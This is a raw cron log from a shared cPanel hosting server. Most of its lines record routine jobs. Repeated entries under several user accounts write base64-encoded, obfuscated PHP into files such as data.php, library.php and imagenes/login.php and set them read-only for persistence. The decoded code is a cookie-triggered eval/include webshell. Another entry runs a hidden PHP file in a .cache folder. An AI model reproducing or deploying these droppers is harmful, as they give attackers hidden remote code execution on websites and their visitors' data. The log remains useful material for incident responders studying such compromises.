Jun  7 12:53:02 medusa CROND[5368]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:53:02 medusa CROND[5358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:53:02 medusa CROND[5356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:53:02 medusa CROND[5369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:54:02 medusa CROND[6755]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:54:02 medusa CROND[6756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:54:02 medusa CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:54:02 medusa CROND[6758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:54:02 medusa CROND[6759]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:54:02 medusa CROND[6760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:54:02 medusa CROND[6761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:54:02 medusa CROND[6762]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:54:02 medusa CROND[6764]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:54:02 medusa CROND[6770]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:54:02 medusa CROND[6771]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:54:02 medusa CROND[6774]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:54:02 medusa CROND[6780]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:55:01 medusa CROND[8260]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:55:02 medusa CROND[8269]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8270]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:55:02 medusa CROND[8271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:55:02 medusa CROND[8272]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:55:02 medusa CROND[8276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:55:02 medusa CROND[8273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:55:02 medusa CROND[8279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:55:02 medusa CROND[8275]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:55:02 medusa CROND[8281]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:55:02 medusa CROND[8282]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:55:02 medusa CROND[8277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8283]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:55:02 medusa CROND[8286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8288]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:55:02 medusa CROND[8289]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:55:02 medusa CROND[8284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:55:02 medusa CROND[8291]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:55:02 medusa CROND[8293]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:55:02 medusa CROND[8308]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
